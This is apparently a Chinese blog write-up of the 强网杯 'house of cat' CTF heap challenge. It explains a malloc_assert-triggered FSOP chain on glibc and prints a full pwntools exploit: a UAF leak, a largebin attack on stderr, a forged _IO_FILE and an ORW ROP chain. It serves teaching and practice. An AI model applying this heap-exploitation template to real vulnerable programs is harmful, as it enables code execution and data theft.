强网杯houseofcat

该死的猫猫!!!本来一开始想拿apple2去打,不想学cat了,于是自信的套了一通板子之后却怎么也出不了。究其原因是因为这个题是个白名单,并且没有exit,这就导致只能通过malloc_assert去触发FSOP,然而走malloc_assert和exit这两个函数的IO调用链有些区别,虽然两者都要利用largebin attack去修改一个值,但前者修改的是_IO_list_all的值,后者修改的是stderr的值,后续的函数执行也有区别。在malloc_assert的时候会先触发__fxprintf函数,这个函数在stderr被修改之后会无法绕过一些检查,导致syscall到一些黑名单上的函数,从而导致这个题没法用apple2打,所以被迫无奈学习了一下cat的打法,但是由于内心十分的烦躁,没有深究源代码,今天在这里只说打法,要伪造的数据的注意事项,详细原理不做深究。

exit和malloc_assert的不同

对比内容exit(apple2为例)malloc_assert(cat为例)
修改内容_IO_list_allstderr
函数调用链exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_list_all->_IO_wflie_jumps->_IO_wfile_overflow->_IO_wfile_overflow+0x68__malloc_assert -> __fxprintf() -> __vfxprintf() -> locked_vfxprintf()
-> _IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode()
-> _IO_WOVERFLOW
触发条件显示的调用exit函数1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐
满足其中任意一个即可(都是针对topchunk)(该检查触发的前提是topchunk的大小小于待分配的大小)
备注这条链需要找到magic gadget(详见主页houseofapple详解),我之前遇到过一个题没有这个magic gadget,需要另找别的gadget组合攻击,在高版本的堆题这段magic gadget已经被删掉了不需要找magic gadget,但是触发条件较为苛刻,至少要存在UAF或者off by null/one等手段来修改top chunk(看到网上还有人拿largebin attack修改topchunk……hmm…也不是不行,多此一举了属于是)

题目分析

题目前面有一大坨又臭又长的逆向,当时逆了半天没逆明白,遂放弃,最终得到的结论就是要先输入“LOGIN | r00t QWB QWXFadmin\x00”登录题目,之后每次想要调用堆块函数,都需要输入“CAT | r00t QWB QWXF\xFF$”(出题人纯纯闲得蛋疼)

最终对应的代码如下

def add(index, size, content):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'1')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    p.procedure.sendlineafter(b'plz input your cat size:\n', str(size).encode())
    p.procedure.sendafter(b'plz input your content:\n', content)


def delete(index):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'2')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def show(index):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'3')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def edit(index, content):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'4')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    p.procedure.sendlineafter(b'plz input your content:\n', content)

p.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')

指针表不清零,存在uaf

改的字节大小固定,后期就是利用这个点构造了一点点堆风水修改的topchunk

用write查的,而且大小固定,所以查一次就都出来了

沙箱

是个白名单沙箱,也是万恶之源!!!否则完全可以打apple2,这里有个有趣的地方就是read限制了fd必须是0,所以要先close(0)一下,然后再open

利用malloc_assert打FSOP需要注意的点和绕过的保护

首先要明确,这条链不像exit那条一样需要先伪造一个“正常”调用_IO_file_jumps的f1(因为size位固定了,没法利用magic gadget,除非能任意改size位),只需要伪造一个)_IO_file_plus就可以了

要伪造的内容如下

1.fp->_mode(0xc0的位置,只占4字节) <= 0 && fp->_IO_write_ptr(0x28) > fp->_IO_write_base(0x20)这里让mode=0即可(但经过我的测试,不伪造也没啥问题,保险起见还是伪造一下吧)

2.fp->vtable(0xd8的位置) = libc.symbols[‘_IO_wfile_jumps’] + libcbase+0x10

3.设置fp->wide_data(0xa0)指向一个可控地址A

4.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,即A->_IO_write_ptr(0x20) > A->_IO_write_base(0x18),这里我们直接将A->_IO_write_ptr设置成rdx的地址,即orwpayload的起始地址,原因稍后解释

5.A+0xe0的位置设置成rdx+8

原因分析

成功调用到_IO_switch_to_wget_mode函数时,我们从汇编去分析

 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

结合图我们来分析

首先mov rax, qword ptr [rdi + 0xa0]把 [rdi + 0xa0]也就是wide_data赋值给rax,此段payload我在wide_data处填写的值为payloadbase(stderr指向的位置)+0xd0,接着rdx, qword ptr [rax + 0x20]把payloadbase+0xf0的位置赋值给rdx,也就是后续orwpayload的位置,然后mov rax, qword ptr [rax + 0xe0]把payloadbase+0x1b0对应的值赋给rax,在这里我让其等于rdx+8,最后一句call qword ptr [rax + 0x18],也就是call [rdx+0x20],而我的orwpayload在这个位置填的刚好就是setcontext+61,由此实现了orw的调用

这道题由于沙箱的限制,orw的时候fd必须是0,所以要先close(0),在open(flag),让打开的flag文件的fd为0才行,故orwpayload和平常的有些许区别

具体构造比较ez,不多赘述了

最后构造的payload如下

iofilejump=libcbase+libc.symbols['_IO_file_jumps']
iowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
pop_rdi_rbp=0x000000000002a745+libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
magic_gadget=libcbase+0x00000000001675b1

payloadposition=heapbase+0x290

rsp=payloadposition+0x208
flagaddr=payloadposition+0x120

payload = p64(0) + p64(3)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rdi)
payload += p64(flagaddr) + p64(pop_rax)
payload += p64(2) + p64(syscall)
payload += p64(pop_rsi) + p64(flagaddr)
payload += p64(pop_rdi_rbp) + p64(0)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(0) + p64(300)
payload += p64(0) + p64(pop_r12_r13)
payload += p64(rsp) + p64(pop_rax)
payload += p64(syscall) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)
payload += p64(1) +p64(syscall)

f2=IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition+0x200
# f2._IO_write_ptr = 1
# f2._flags2 = 8
# f2._mode = 1
f2._lock= payloadposition
f2._wide_data = payloadposition + 0xd0
f2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10

data = flat({
    0x0: bytes(f2)[16:],#payloadposition
    0xd0:[0,0],
    0xe0:payloadposition+0x200,
    0xf0: {
        0:[0,0,0,0],
        0x20:b'flag\0',
        0xb0: payloadposition+0x208,
    },
    0x1f0: payload
})

板子应该也是一套比较固定且万能的板子,个人感觉学完之后好像比apple2好用唉

完整payload

from pwncli import *
from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc=ELF('./libc.so.6')

def add(index, size, content):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'1')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    p.procedure.sendlineafter(b'plz input your cat size:\n', str(size).encode())
    p.procedure.sendafter(b'plz input your content:\n', content)


def delete(index):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'2')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def show(index):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'3')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def edit(index, content):
    p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    p.procedure.sendlineafter(b'plz input your cat choice:\n', b'4')
    p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    p.procedure.sendlineafter(b'plz input your content:\n', content)

p.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')

add(10,0x440,b"0000")
add(11,0x430,b"1111")
add(12,0x430,b"2222")
add(13,0x430,b"3333")
#------------leak and largebin attack--------------
delete(10)
delete(12)
show(10)
p.rcvu(b'Context:\n')
libcbase=p.uu64()-0x219ce0
p.rcv(2)
heapbase=p.uu64()-0xb20
print('heapbase:',hex(heapbase))
print('libcbase:',hex(libcbase))
delete(11)
delete(13)

#--------------finish leak---------------
#--------------prepare the data------------------
iofilejump=libcbase+libc.symbols['_IO_file_jumps']
iowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
pop_rdi_rbp=0x000000000002a745+libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
magic_gadget=libcbase+0x00000000001675b1

payloadposition=heapbase+0x290

rsp=payloadposition+0x208
flagaddr=payloadposition+0x120

payload = p64(0) + p64(3)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rdi)
payload += p64(flagaddr) + p64(pop_rax)
payload += p64(2) + p64(syscall)
payload += p64(pop_rsi) + p64(flagaddr)
payload += p64(pop_rdi_rbp) + p64(0)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(0) + p64(300)
payload += p64(0) + p64(pop_r12_r13)
payload += p64(rsp) + p64(pop_rax)
payload += p64(syscall) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)
payload += p64(1) +p64(syscall)



f2=IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition+0x200
# f2._IO_write_ptr = 1
# f2._flags2 = 8
# f2._mode = 1
f2._lock= payloadposition
f2._wide_data = payloadposition + 0xd0
f2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10

data = flat({
    0x0: bytes(f2)[16:],#payloadposition
    0xd0:[0,0],
    0xe0:payloadposition+0x200,
    0xf0: {
        0:[0,0,0,0],
        0x20:b'flag\0',
        0xb0: payloadposition+0x208,
    },
    0x1f0: payload
})
#--------------------------------------------------
add(0,0x440,data)
add(1,0x430,b"1111")
add(2,0x430,b"2222")
add(3,0x430,b"3333")
delete(0)
add(4,0x450,b"4444")
delete(2)
io_list_all=libcbase+libc.symbols['_IO_list_all']
edit(0,p64(libcbase+0x21a0e0)*2+p64(heapbase+0x290)+p64(libcbase+libc.symbols['stderr']-0x20))
add(5,0x450,b'5555'*10)

#------------finish largebin attack--------------

add(6,0x430,data)#回填堆块2
delete(4)
delete(5)
add(7,0x460,b'7777')
edit(5,p64(0)*4)
print("malloc_assert:",hex(libcbase+0xA0EF0))
# p.debug()
add(8,0x460,b'7777')

p.ia()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇